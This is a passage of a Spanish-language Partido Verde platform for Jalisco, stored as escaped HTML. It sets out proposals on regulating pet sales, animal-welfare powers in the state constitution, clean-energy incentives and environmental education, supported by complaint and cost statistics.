enfermedad, plaga o cualquier circunstancia que cree un contagio a los mismos as\u00ed como a sus propietarios y\u00a0 toda vez que algunos animales son v\u00edctimas de maltrato o tortura por parte de los comercializadores, se cree necesario reformar la Ley de Protecci\u00f3n y Cuidado de los Animales, a fin de garantizar el bienestar y trato digno para los animales.<\/p>\n<p>Asimismo, el mayor porcentaje de la venta de animales dom\u00e9sticos y de fauna silvestre se realiza de manera ilegal y en situaciones insalubres, en la v\u00eda p\u00fablica, tianguis y puestos semifijos. A pesar de los operativos llevados a cabo por la Procuradur\u00eda Federal de Protecci\u00f3n al Ambiente (PROFEPA), es bien sabido que en Jalisco existe dicha ilegalidad respecto a la venta de animales, lo cual se busca erradicar.<\/p>\n<p>Ante esta situaci\u00f3n, se debe reforzar el marco legal que protege a los animales en Jalisco, a trav\u00e9s de la prohibici\u00f3n de la comercializaci\u00f3n de animales dom\u00e9sticos y de fauna silvestre en la v\u00eda p\u00fablica, y con ello evitar que estas especies se vean afectadas en su salud por falta de un control sanitario.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>Los animales de compa\u00f1\u00eda, al ser comercializados carecen de alojamientos acorde a su especie y tama\u00f1o, viven en espacios o jaulas tan reducidos que no les permiten cambiar de posici\u00f3n o permanecen completamente aislados, inclusive imposibilitados para expresar comportamientos que son necesarios para ellos, desarrollando como consecuencia conductas patol\u00f3gicas.<\/p>\n<p>Los espacios en donde son exhibidos los animales, para su comercializaci\u00f3n, les producen lesiones, ca\u00eddas, luxaciones e incomodidad. Mientras que algunos encargados de estas tiendas de animales solo persiguen intereses econ\u00f3micos, que atentan con el trato digno y la responsabilidad del cuidado de las especies que son vendidas para ser domesticadas.<\/p>\n<p>En los municipios de Guadalajara, Zapopan, Tlaquepaque, Tonal\u00e1 y Tlajomulco reportan que desde que se modific\u00f3 la Ley de Protecci\u00f3n a los Animales en el 2014, recibieron siete mil 221 denuncias por maltrato animal, de las cuales cinco mil 036 se documentaron a partir del 2016.<\/p>\n<p><strong>Las denuncias en cifras<\/strong><\/p>\n<table width=\"522\">\n<tbody>\n<tr>\n<td>\n<p>\u00a0<\/p>\n<\/td>\n<td>\n<p>2014 (junio a diciembre)<\/p>\n<\/td>\n<td>\n<p>2015<\/p>\n<\/td>\n<td>\n<p>2016<\/p>\n<\/td>\n<td>\n<p>2017<\/p>\n<\/td>\n<td>\n<p>Total<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>Guadalajara<\/p>\n<\/td>\n<td>\n<p>0<\/p>\n<\/td>\n<td>\n<p>52<\/p>\n<\/td>\n<td>\n<p>1200<\/p>\n<\/td>\n<td>\n<p>796<\/p>\n<\/td>\n<td>\n<p>2048<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>Zapopan<\/p>\n<\/td>\n<td>\n<p>843<\/p>\n<\/td>\n<td>\n<p>1054<\/p>\n<\/td>\n<td>\n<p>1367<\/p>\n<\/td>\n<td>\n<p>593<\/p>\n<\/td>\n<td>\n<p>3857<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>Tlaquepaque<\/p>\n<\/td>\n<td>\n<p>2<\/p>\n<\/td>\n<td>\n<p>8<\/p>\n<\/td>\n<td>\n<p>411<\/p>\n<\/td>\n<td>\n<p>423<\/p>\n<\/td>\n<td>\n<p>844<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>Tonal\u00e1<\/p>\n<\/td>\n<td>\n<p>129<\/p>\n<\/td>\n<td>\n<p>97<\/p>\n<\/td>\n<td>\n<p>121<\/p>\n<\/td>\n<td>\n<p>113<\/p>\n<\/td>\n<td>\n<p>460<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>Tlajomulco<\/p>\n<\/td>\n<td>\n<p>sin registro<\/p>\n<\/td>\n<td>\n<p>sin registro<\/p>\n<\/td>\n<td>\n<p>9<\/p>\n<\/td>\n<td>\n<p>3<\/p>\n<\/td>\n<td>\n<p>12<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>Total de todos los municipios:<\/p>\n<\/td>\n<td>\n<p>\u00a0<\/p>\n<\/td>\n<td>\n<p>\u00a0<\/p>\n<\/td>\n<td>\n<p>\u00a0<\/p>\n<\/td>\n<td>\n<p>\u00a0<\/p>\n<\/td>\n<td>\n<p>7221<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p>De acuerdo con el Directorio Estad\u00edstico Nacional de Unidades Econ\u00f3micas del Instituto Nacional de Estad\u00edstica (INEGI) existen 7,190 comercios al por menor de mascotas a escala nacional.<a href=\"#_ftn4\" name=\"_ftnref4\"><sup>[4]<\/sup><\/a><\/p>\n<p>Existen pa\u00edses que han buscado mejorar las condiciones de los animales dom\u00e9sticos, como ejemplo tenemos al Consejo Municipal de Los \u00c1ngeles (California, EE UU) ha aprobado por unanimidad una moci\u00f3n del concejal Paul Koretz<a href=\"#_ftn5\" name=\"_ftnref5\"><sup>[5]<\/sup><\/a> que pondr\u00eda fin a los criaderos de gatos y perros, prohibiendo la crianza comercial de perros, gatos, conejos y pollos, y su venta en tiendas de animales. En su lugar, los refugios de animales trabajar\u00e1n con tiendas de animales con licencia para que \u00e9stas den en adopci\u00f3n a los animales de los refugios.<\/p>\n<p>Otro ejemplo, es Espa\u00f1a ya cuenta con un borrador de anteproyecto de Ley por el que se establece la normativa b\u00e1sica del comercio y la tenencia responsable de perros y gatos que incluye la no exhibici\u00f3n para venta de los mismos.<\/p>\n<p>En el 2016, la Comunidad de Madrid, puso en vigor la Ley de Protecci\u00f3n de los Animales de Compa\u00f1\u00eda, prohibiendo la exhibici\u00f3n de mascotas en establecimientos, con algunas excepciones, como lo se\u00f1ala su art\u00edculo 18, que a la letra dice:<\/p>\n<p>Art\u00edculo 18.<em>Condiciones de la cr\u00eda con fines comerciales y de la venta de animales.<\/em><\/p>\n<ol>\n<li>[\u2026]<\/li>\n<li>La venta de perros y gatos en los centros antes citados, se deber\u00e1 realizar a trav\u00e9s de cat\u00e1logos y medios similares que no requieran la presencia f\u00edsica de los animales en la tienda. No obstante, la Consejer\u00eda competente podr\u00e1 autorizar la presencia de perros y gatos en aquellos centros de venta que cumplan las condiciones de salubridad, espacio, etc., que se determinen reglamentariamente en el plazo de seis meses desde la aprobaci\u00f3n de esta Ley. Dichos centros tendr\u00e1n un plazo m\u00e1ximo de adaptaci\u00f3n de 24 meses a dichas condiciones.<\/li>\n<li>Los centros de venta podr\u00e1n disponer para su venta de peces, reptiles, roedores, conejos, hurones y p\u00e1jaros de jaula criados en cautividad, siempre que cumplan con los requisitos de espacio que se establecer\u00e1n reglamentariamente. La Consejer\u00eda competente revisar\u00e1 el listado de especies y los requisitos y condiciones para la venta de cada una de ellas en el plazo de dos a\u00f1os.<\/li>\n<\/ol>\n<p>\u2026<\/p>\n<p>Debido al maltrato que padecen los animales durante el proceso de comercializaci\u00f3n, se busca mejorar las condiciones de la compra-venta de animales dom\u00e9sticos, a trav\u00e9s de un estricto control, y supervisi\u00f3n por parte de las autoridades. Una de las medidas a considerar durante el proceso de compra, es la propuesta de la impresi\u00f3n de un cat\u00e1logo o de la utilizaci\u00f3n de herramientas tecnol\u00f3gicas, esto ayudar\u00eda a prevenir el maltrato que sufren, dado que los establecimientos comerciales no cuentan con las condiciones adecuadas, ya que muchos de los animales se encuentran en vitrinas de vidrio o jaulas muy reducidas.<\/p>\n<p>Asimismo, se propone que la ley de Protecci\u00f3n y Cuidado Animal del Estado de Jalisco regule y verifique la comercializaci\u00f3n de los animales de compa\u00f1\u00eda en los establecimientos comerciales, esto toda vez que los ayuntamientos regulan y proporcionan los permisos para este tipo de giros de igual forma, que la Ley de Coordinaci\u00f3n en Materia de Sanidad en el Estado verifique las condiciones en las que se encuentran los animales\u00a0 dom\u00e9sticos en los establecimientos comerciales.<\/p>\n<p>Su comercializaci\u00f3n no aplica protocolos de higiene y cuidado, derivado de esto, los animales se contaminan con par\u00e1sitos que pueden derivar en enfermedades zoon\u00f3ticas, es decir, infecciones que se transmiten de forma natural de los animales a humanos.<\/p>\n<p>De las 174 enfermedades infecciosas transmisibles de animales a humanos, 53 las transmiten los perros<a href=\"#_ftn6\" name=\"_ftnref6\"><sup>[6]<\/sup><\/a>. Ejemplos de las infecciones que se pueden contraer son, la giardiasis, por medio del giardia lamblia, el cual es un par\u00e1sito zoon\u00f3tico frecuente en ni\u00f1os y adultos causantes de gastroenteritis; por otro lado, tenemos a el dipylidium caninum, es un par\u00e1sito del intestino delgado de los animales y en ocasiones afecta al hombre, este c\u00e9stodo tiene una distribuci\u00f3n mundial y es frecuente en perros, los hu\u00e9spedes intermediarios son las pulgas<a href=\"#_ftn7\" name=\"_ftnref7\"><sup>[7]<\/sup><\/a>.<\/p>\n<p>Debido a que los ni\u00f1os constituyen la poblaci\u00f3n con mayor riesgo de exposici\u00f3n a par\u00e1sitos de potencial zoon\u00f3tico<a href=\"#_ftn8\" name=\"_ftnref8\"><sup>[8]<\/sup><\/a>, es que la venta de mascotas en estos lugares debe ser prohibida y as\u00ed evitar poner en riesgo la salud de los infantes y de los animales.<\/p>\n<p>Adem\u00e1s, en la v\u00eda p\u00fablica y en los establecimientos, no se encuentran en \u00f3ptimas condiciones, ya que se improvisan jaulas o cajas para ah\u00ed exhibir a las especies, sin considerar el bienestar animal.<\/p>\n<p>A pesar de estas condiciones, los animales dom\u00e9sticos<a href=\"#_ftn9\" name=\"_ftnref9\"><sup>[9]<\/sup><\/a> han tenido un repunte en las preferencias de las personas, esto se refleja con el aumento de los productos y servicios dirigidos a este sector de consumo; como lo es alimento, medicinas, servicios veterinarios especializados, juguetes y accesorios, que alcanzan un valor entre 500 y mil millones de pesos anuales<a href=\"#_ftn10\" name=\"_ftnref10\"><sup>[10]<\/sup><\/a>.<\/p>\n<p>En lo que respecta a la venta ilegal de fauna silvestre, de acuerdo con la Universidad Nacional Aut\u00f3noma de M\u00e9xico, es la tercera actividad il\u00edcita m\u00e1s redituable en el mundo<a href=\"#_ftn11\" name=\"_ftnref11\"><sup>[11]<\/sup><\/a>, en M\u00e9xico el comercio ilegal de fauna silvestre es perseguido por la PROFEPA, y en 2016 inform\u00f3 que derivado de sus recorridos de vigilancia y operativos, se aseguraron precautoriamente 16,744 ejemplares de fauna silvestre<a href=\"#_ftn12\" name=\"_ftnref12\"><sup>[12]<\/sup><\/a>. Esto es una muestra del tama\u00f1o del mercado ilegal de especies en el pa\u00eds.<\/p>\n<p>En la Rep\u00fablica mexicana, resalta el caso de la Ciudad de M\u00e9xico, donde est\u00e1 prohibida la venta de animales en la v\u00eda p\u00fablica o veh\u00edculos, as\u00ed como el de Chihuahua que establece la prohibici\u00f3n de venta, rifas, u obsequio de mascotas en v\u00eda p\u00fablica.<\/p>\n<p>Ante este contexto, en el Partido Verde Ecologista de M\u00e9xico estamos preocupados por esta situaci\u00f3n y por ello buscamos generar conciencia entre las personas para hacer efectiva la protecci\u00f3n a los animales, a trav\u00e9s de la prohibici\u00f3n del comercio ilegal de animales dom\u00e9sticos y de fauna silvestre.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<p>Reformar la Ley de Coordinaci\u00f3n en Materia de Sanidad Animal Para el Estado de Jalisco y la Ley de Protecci\u00f3n y Cuidado de los Animales en el Estado de Jalisco,\u00a0 bajo las siguientes propuestas:<\/p>\n<ul>\n<li>Incorporar el concepto de mascota o animal de compa\u00f1\u00eda.<\/li>\n<li>Que los Municipios regulen y verifiquen de manera eficaz y adecuada el control de establecimientos que promueven la comercializaci\u00f3n de mascotas o animales de compa\u00f1\u00eda.<\/li>\n<li>Establecer tiempos m\u00e1ximos de exhibici\u00f3n para los establecimientos comerciales y que cumplan con las condiciones de salubridad y espacio.<\/li>\n<li>Generar cat\u00e1logos impresos o la utilizaci\u00f3n de herramientas tecnol\u00f3gicas para la comercializaci\u00f3n de animales de compa\u00f1\u00eda.<\/li>\n<li>Establecer disposiciones necesarias durante los procesos de comercializaci\u00f3n de los ejemplares de fauna dom\u00e9stica, como es el trato digno, evitar el maltrato, y que las \u00e1reas donde se encuentran resguardados los animales sean en \u00f3ptimas condiciones, de lo contrario se deber\u00e1 sancionar por violar dichas disposiciones.<\/li>\n<li>Definir la forma, procedimientos y requisitos para el manejo de los que posean mascotas o animales de compa\u00f1\u00eda, incluidas las especies dom\u00e9sticas.<\/li>\n<li>Asegurar que las especies domesticas est\u00e9n resguardadas, previo a su comercializaci\u00f3n, en lugares que cuenten con \u00e1reas e infraestructura necesaria para su manejo, as\u00ed como de quienes lleven a cabo la comercializaci\u00f3n, tengan capacidad t\u00e9cnica y operativa suficiente.<\/li>\n<li>Reformar la Ley de Coordinaci\u00f3n en Materia de Sanidad Animal Para el Estado de Jalisco y la Ley de Protecci\u00f3n y Cuidado de los Animales en el Estado de Jalisco, para prohibir la comercializaci\u00f3n de animales de compa\u00f1\u00eda o animales silvestres en la v\u00eda p\u00fablica, mercados, tianguis, puestos semifijos, puestos permanentes temporales o ambulantes.<\/li>\n<li>Reformar la Ley de Protecci\u00f3n y Cuidado de los Animales en el Estado de Jalisco, para que regule y verifique la comercializaci\u00f3n de los animales de compa\u00f1\u00eda en los establecimientos comerciales,<\/li>\n<li>Reformar la Ley de Coordinaci\u00f3n en Materia de Sanidad en el Estado verifique las condiciones en las que se encuentran los animales dom\u00e9sticos en los establecimientos comerciales.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: PROTECCI\u00d3N Y BIENESTAR ANIMAL<\/strong><\/p>\n<p><strong>VISI\u00d3N:<\/strong> Un Jalisco con respeto hacia los animales no humanos, a su h\u00e1bitat, a su bienestar y protecci\u00f3n, as\u00ed como al cumplimiento o adaptaci\u00f3n de las obligaciones y derechos de la <em>Declaraci\u00f3n Universal de los Derechos del Animal<\/em>.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong> En Jalisco las pr\u00e1cticas de maltrato y tortura a los animales han sido notorias cada vez m\u00e1s, ejemplo de ello son los videos que se publican en las redes sociales, donde algunas personas graban a los animales cuando los est\u00e1n torturando o ciudadanos que graban hechos de maltrato animal como una llamada de atenci\u00f3n a la poblaci\u00f3n y a las autoridades de las practicas inhumanas a las que son sometidos. Ante tales hechos de maltrato animal es que se propone reformar la Constituci\u00f3n Pol\u00edtica de Jalisco, a fin de facultar al Congreso para legislar en materia de protecci\u00f3n y bienestar animal.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>Actualmente, el Congreso tiene facultad para expedir leyes que establezcan la concurrencia del Estado y sus Municipios en el \u00e1mbito de sus respectivas competencias, en materia de protecci\u00f3n al ambiente, de preservaci\u00f3n y restauraci\u00f3n del equilibrio ecol\u00f3gico. Pero, es preciso facultar al Congreso para legislar en materia de protecci\u00f3n y bienestar animal, a fin de evitar el maltrato animal.<\/p>\n<p>Ya que ha ido en aumento el n\u00famero de casos denunciados de pr\u00e1cticas violentas hacia los animales, d<em>e acuerdo a datos del INEGI, M\u00e9xico ocupa el tercer lugar en maltrato animal, se estima que un mill\u00f3n de mascotas sufre maltrato, mala alimentaci\u00f3n, son golpeados o abandonados en entre otros tipos de maltrato, siendo Jalisco uno de los Estados en los que existe un gran \u00edndice de denuncias <\/em>recibidas, siete mil 221 por maltrato animal, de las cuales cinco mil 036 se documentaron a partir del 2016, por lo que va a dicha problem\u00e1tica se estima necesaria regular la protecci\u00f3n de animales, pues a pesar de las mejoras ya realizadas para castigar el maltrato a los animales, sigue existiendo peligro para los mismos por lo que es conveniente sea por medio de la Constituci\u00f3n del Estado la que garantice la protecci\u00f3n y bienestar de los animales.<\/p>\n<p>Ante esta situaci\u00f3n de maltrato animal, es fundamental trabajar el tema de protecci\u00f3n y bienestar animal, el cual debe estar relacionado con el cuidado y el respeto de todos los animales, no obstante a la gran lucha que el Estado ha venido realizando para dar mejor calidad de vida a los animales, es necesario se sigan creando mejores condiciones pues los mismos nacen iguales ante la vida por lo que se debe el respeto a su desarrollo natural mismo que es contemplado en la Ley de Protecci\u00f3n a los Animales.<\/p>\n<p>La tortura y maltrato a los animales fomenta en las personas sentir desprecio hacia ellos, inclusive se puede tornar como algo normal y una costumbre, donde los animales son vistos como objetos de diversi\u00f3n y de sufrimiento. Es por ello, que la Declaraci\u00f3n Universal de los Derechos de los Animales, tiene como fin el de proteger a estos seres vivos, por ello establece la obligatoriedad de respetar a los animales.<\/p>\n<p>En 1977 esta Declaraci\u00f3n Universal de los Derechos de los Animales se aprob\u00f3 por la Organizaci\u00f3n de las Naciones Unidas para la Educaci\u00f3n (UNESCO) y la Organizaci\u00f3n de las Naciones Unidas (ONU), con objeto de proveer a la humanidad de un c\u00f3digo de \u00e9tica biol\u00f3gica y de comportamiento moral, tendiente a concientizar al ser humano; adem\u00e1s precisa que todos los animales nacen iguales ante la vida y tienen los mismos derechos a la existencia; raz\u00f3n por la cual, entre otros art\u00edculos, se\u00f1ala : <em>\u201cQue los animales deber\u00e1n ser tratados con dignidad y respeto durante toda su vida, y no ser\u00e1n sujetos de diversi\u00f3n o entretenimiento de la sociedad\u201d, <\/em>es decir, proh\u00edbe que cualquier animal sea sometido a malos tratos o actos crueles o que sea explotado para esparcimiento del hombre.<\/p>\n<p>A pesar de contar con los instrumentos legales a nivel mundial no es suficiente, en Jalisco, la protecci\u00f3n de los animales contin\u00faa siendo un problema, ya que falta fortalecer los instrumentos legales en materia bienestar y la protecci\u00f3n de los animales, a fin de prohibir las pr\u00e1cticas donde se utiliza instrumentos punzocortantantes que causan da\u00f1o a un animal o cualquier otro tipo de tortura o maltrato a los que son sometidos.<\/p>\n<p>Actualmente, en pa\u00edses de Europa como Austria, Alemania y Suiza tienen contemplado en sus Constituciones Pol\u00edticas, el tema de la naturaleza y de la protecci\u00f3n a los animales. Asimismo en Am\u00e9rica Latina, el caso de Bolivia que estipula las competencias de los gobiernos municipales aut\u00f3nomos en materia de protecci\u00f3n de la fauna silvestre y animales dom\u00e9sticos.<\/p>\n<p>Estas conductas de maltado, tortura y de crueldad a los que son sometido los animales por parte de las personas, son originadas en muchas ocasiones por resentimientos que guardan las personas, que buscan desquitar sus frustraciones con los animales o porque crecen en un ambiente familiar donde la falta de valores y cultura no es fomentado. Lo que conduce a pr\u00e1cticas crueles hacia los animales priv\u00e1ndolos de su derecho a una vida sana y digna.<\/p>\n<p>Tambi\u00e9n, estas conductas pueden afectar el entorno social porque al generar pr\u00e1cticas de maltrato en los animales, produce conductas violentas hacia las dem\u00e1s personas. Por otro lado la falta de valores \u00e9ticos y culturales hace que las personas pierdan el respeto a la vida de los dem\u00e1s seres vivos. Es por ello, la necesidad de establecer en la Constituci\u00f3n Pol\u00edtica del Estado las facultades del Congreso en materia de protecci\u00f3n y bienestar animal, ya que es parte esencial contar con un marco jur\u00eddico que regule el comportamiento de las personas hacia los animales.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Reformar la Constituci\u00f3n Pol\u00edtica del Estado de Jalisco, para facultar al Congreso del Estado, para legislar en materia de protecci\u00f3n, bienestar y maltrato animal.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: ENERG\u00cdAS LIMPIAS ACCESIBLES<\/strong><\/p>\n<p><strong>VISI\u00d3N<\/strong>: Aprovechar la radiaci\u00f3n solar, a trav\u00e9s de tecnolog\u00edas como son los paneles solares que permiten energ\u00eda limpia y accesible para todos. Su aprovechamiento es para producir calor y calentar agua y producir electricidad (energ\u00eda solar).<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>Las energ\u00edas limpias, no da\u00f1an el medio ambiente, ya que no provocan la emisi\u00f3n de gases contaminantes a la atm\u00f3sfera o, en su defecto, las emisiones son m\u00ednimas. Por tanto, no contribuyen a efectos como el cambio clim\u00e1tico, el calentamiento global o el agujero de la capa de ozono, algunos de los principales problemas medioambientales de la actualidad.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA: <\/strong><\/p>\n<p>El cambio clim\u00e1tico causado por el aumento en la emisi\u00f3n y en la concentraci\u00f3n de gases de efecto invernadero en la atm\u00f3sfera, es hoy una de las amenazas m\u00e1s grandes a las que se enfrenta la humanidad. La emisi\u00f3n de dichos gases provenientes principalmente de la quema de combustibles f\u00f3siles para la generaci\u00f3n de electricidad y el transporte, as\u00ed como del cambio de uso de suelo, han ocasionado severos impactos en el clima causando afectaciones que van desde sequ\u00edas, inundaciones, alteraci\u00f3n del ciclo hidrol\u00f3gico, eventos hidrometeoro l\u00f3gicos m\u00e1s fuertes y frecuentes, aumento del nivel del mar, derretimiento de glaciares, extinci\u00f3n de especies animales y vegetales, as\u00ed como innumerables p\u00e9rdidas humanas.<\/p>\n<p>Por ello, las energ\u00edas limpias se vuelven cada vez m\u00e1s atractivas y necesarias. Ya que los residuos forestales o biomasa s\u00f3lida representan la mayor fuente de energ\u00eda, alcanzando consumos de 78.8 millones de toneladas equivalentes de petr\u00f3leo (MTEP) como energ\u00eda primaria de la cual se generan 72.8 twh el\u00e9ctricos y 64.9 MTEP t\u00e9rmicos.<\/p>\n<p>Las reservas petroleras probadas durar\u00e1n poco m\u00e1s de 20 a\u00f1os y para 2030 se proyecta que se habr\u00e1 terminado el petr\u00f3leo de f\u00e1cil extracci\u00f3n y m\u00e1s barato. Los bajos precios del petr\u00f3leo tambi\u00e9n nos han afectado, el 24 abril de 2015, el barril mexicano lleg\u00f3 a los 54.65 d\u00f3lares, que equivale a una ca\u00edda de 43 por ciento con relaci\u00f3n a los 96 d\u00f3lares que cost\u00f3 el mismo mes de 2014, lo que nos indica que si contin\u00faa la misma tendencia de un precio menor a los 60 d\u00f3lares por barril y con una producci\u00f3n de 2.35 millones de barriles diarios, las contribuciones petroleras en M\u00e9xico pasar\u00edan del 16 por ciento del presupuesto federal en 2016 al 8 por ciento en 2020, lo que debe motivar a dar el salto a la utilizaci\u00f3n de fuentes de energ\u00eda renovables, limpias y accesibles.<\/p>\n<p>De acuerdo al estudio \u201cPlan integral para el desarrollo de las energ\u00edas renovables en M\u00e9xico 2013-2018\u201d de Price Waterhouse Coopers (PwC), si en nuestro pa\u00eds se generaran 10 mil gigavatios por hora (GWh), a trav\u00e9s de energ\u00edas renovables, al a\u00f1o se dar\u00eda un incremento en el Producto Interno Bruto (PIB) de 346 mil millones de pesos, se podr\u00edan crear hasta 15 mil empleos y se lograr\u00eda una recaudaci\u00f3n \ufb01scal de 23 mil millones de pesos. Por ello, se estima que M\u00e9xico podr\u00eda generar 90 mil empleos directos en el 2024, se bajar\u00edan las emisiones de gases de efecto invernadero entre 30 y 50 millones de toneladas de bi\u00f3xido de carbono y se limitar\u00eda hasta en un 65% la explotaci\u00f3n de los hidrocarburos.<\/p>\n<p>La meta de M\u00e9xico es que el 35% de la energ\u00eda que se use en el 2024 sea renovable, por lo que el crecimiento requerido es de 120 TWh por a\u00f1o; esta si se da mediante una generaci\u00f3n combinada de 77.5 TWh por a\u00f1o con energ\u00edas limpias y 42.5 TWh por a\u00f1o con gas natural, el costo aproximado estar\u00eda en un rango de 8.2 y 9.7 mil millones de dolores.<\/p>\n<p>M\u00e9xico cuenta con un enorme potencial en recursos renovables. En 2016, el 20.31% de la energ\u00eda el\u00e9ctrica fue generada con fuentes limpias. Las tecnolog\u00edas que mostraron mayor crecimiento fueron: la e\u00f3lica, la fotovoltaica y cogeneraci\u00f3n eficiente. La Generaci\u00f3n con Energ\u00edas Renovables en el 2016 fue del 15.41% (49,206.20 GWh), siendo la hidroel\u00e9ctrica la que contribuyo con un 9.68%, seguida de la energ\u00eda e\u00f3lica con un 3.28% y al final la fotovoltaica con un 0.07%; mientras que el 4.90% fue contribuido por otras energ\u00edas limpias tales como la nuclear, cogeneracio\u0301n eficiente, frenos regenerativos y licor negro.<\/p>\n<p>De acuerdo al Primer Informe Bienal de Actualizaci\u00f3n ante la Convenci\u00f3n Marco de las Naciones Unidas sobre el Cambio Clim\u00e1tico. INECC\/SEMARNAT, 2015, la generaci\u00f3n de energ\u00eda contribuye con un 19% de emisiones de gases de efecto invernadero mientras que el autotransporte con un 23%.<\/p>\n<p>Por lo que se requiere una reducci\u00f3n considerable en las emisiones de gases de efecto invernadero (GEI), un veh\u00edculo de gasolina con un consumo anual de 4.800 litros de gasolina emite 2,196 kg CO2.<\/p>\n<p>El PVEM busca garantizar que, frente a las nuevas realidades en el contexto ambiental y en apego a las nuevas tecnol\u00f3gicas, el sector energ\u00e9tico y Petr\u00f3leos Mexicanos, minimicen las emisiones generadas por el uso hidrocarburos.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Incentivar fiscalmente la instalaci\u00f3n de tecnolog\u00edas que permitan el uso de la radiaci\u00f3n solar como son los paneles solares en edificios p\u00fablicos, hospitales, escuelas, viviendas, industrias y empresas e infraestructura p\u00fablica. Mediante una reforma en la Ley General del Equilibrio Ecol\u00f3gico y la Protecci\u00f3n al Ambiente.<\/li>\n<li>Promover el uso de biocombustibles de segunda y tercera generaci\u00f3n as\u00ed como otras fuentes de energ\u00eda renovable en los procesos productivos, generaci\u00f3n de electricidad y en servicios como el transporte.<\/li>\n<li>Reducir y en algunos casos eliminar los impuestos para la importaci\u00f3n de tecnolog\u00edas de energ\u00edas renovables. Mediante una reforma en el C\u00f3digo Fiscal de la Federaci\u00f3n.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: EDUCACI\u00d3N AMBIENTAL EN TODOS LOS NIVELES ESCOLARES<\/strong><\/p>\n<p><strong>VISI\u00d3N:<\/strong> Implementar la materia de educaci\u00f3n ambiental en todos los niveles escolares para crear consciencia del da\u00f1o ambiental, as\u00ed como de la necesidad de adoptar nuevos h\u00e1bitos para contaminar menos y, generar medidas para disminuir el da\u00f1o ambiental que se genera en el presente. Respetar y proteger el medio ambiente, permitir\u00e1 que el propio medio ambiente se recupere, ofreciendo mejores condiciones de vida y salud a la poblaci\u00f3n.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>Una de las formas en las que la sociedad en general tiene la oportunidad de crear y mantener una buena relaci\u00f3n con el entorno que nos rodea es a trav\u00e9s del cuidado, preservaci\u00f3n y protecci\u00f3n del medio ambiente y los recursos naturales.<\/p>\n<p>En la medida en que la educaci\u00f3n ambiental logre modificar h\u00e1bitos y conductas ambientales negativas que afectan la calidad del medio ambiente, habr\u00e1 un mayor bienestar para la poblaci\u00f3n, as\u00ed como la salud de los ecosistemas.<\/p>\n<p>A pesar que en M\u00e9xico se han tenido avances importantes en educaci\u00f3n ambiental, ha quedado rezagado internacionalmente en la materia, dado que varios Pa\u00edses como Estados Unidos, Chile, Australia, de la Uni\u00f3n Europea y entro otros, desde la d\u00e9cada de los noventa comenzaron con la transformaci\u00f3n de sus planes y programas de estudio obligatorios en educaci\u00f3n ambiental dentro de la curr\u00edcula escolar.<\/p>\n<p>Actualmente para el Pa\u00eds, los costos totales a causa del agotamiento y degradaci\u00f3n ambiental representa uno de sus grandes retos, ya que han mostrado un crecimiento notable y por ende un mayor gasto p\u00fablico cada a\u00f1o en la materia.<\/p>\n<p>Por ello, es fundamental que el Estado Mexicano incorpor\u00e9 la educaci\u00f3n ambiental como parte integral de la educaci\u00f3n que imparta, para que desde una cultura de la prevenci\u00f3n se puedan mitigar los impactos negativos de la actividad econ\u00f3mica al medio ambiente.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>Los problemas asociados con el medio ambiente en M\u00e9xico implican cada vez m\u00e1s, una reflexi\u00f3n m\u00e1s profunda, pues sin duda, los retos en materia ambiental se han agudizado.<\/p>\n<p>Desacoplando el deterioro ambiental de la actividad econ\u00f3mica en M\u00e9xico, desde el 2003 hasta el 2016, se puede observar que siguen una misma tendencia hasta el a\u00f1o 2013, pero vuelve a retomar su pronunciamiento en el 2015. Lo hace plantear que mientras que la econ\u00f3mica mexicana siga creciendo, repercutir\u00e1 en un mayor deterioro ambiental, tal y como se pueden apreciar en la siguiente gr\u00e1fica:<\/p>\n<p>Fuente: Elaborado con datos del INEGI.<\/p>\n<p>En t\u00e9rminos absolutos los costos totales por agotamiento y degradaci\u00f3n ambiental en M\u00e9xico para el a\u00f1o 2016, representaron; 921 mil 814 millones de pesos, es decir, 4.6% del Producto Interno bruto para ese mismo a\u00f1o. Desde el 2003 hasta el 2016, \u00e9stos han tenido una tendencia positiva conforme crece la econom\u00eda, tal y como se puede apreciar en la siguiente gr\u00e1fica:<\/p>\n<p>Fuente: Elaborado con datos del INEGI.<\/p>\n<p>Con base en la metodolog\u00eda del Instituto Nacional de Estad\u00edstica y Geograf\u00eda (INEGI) los costos por deterioro ambiental en el 2016, se conformaron de la siguiente manera:<\/p>\n<table width=\"326\">\n<tbody>\n<tr>\n<td colspan=\"2\">\n<p><strong>COSTOS POR DETERIORO AMBIENTAL EN M\u00c9XICO 2016 <\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><strong>Agotamiento<\/strong><\/p>\n<\/td>\n<td>\n<p><strong>13.6<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>\u00a0\u00a0\u00a0Hidrocarburos<\/p>\n<\/td>\n<td>\n<p>8.5<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>\u00a0\u00a0\u00a0Recursos forestales<\/p>\n<\/td>\n<td>\n<p>1.3<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>\u00a0\u00a0\u00a0Agua 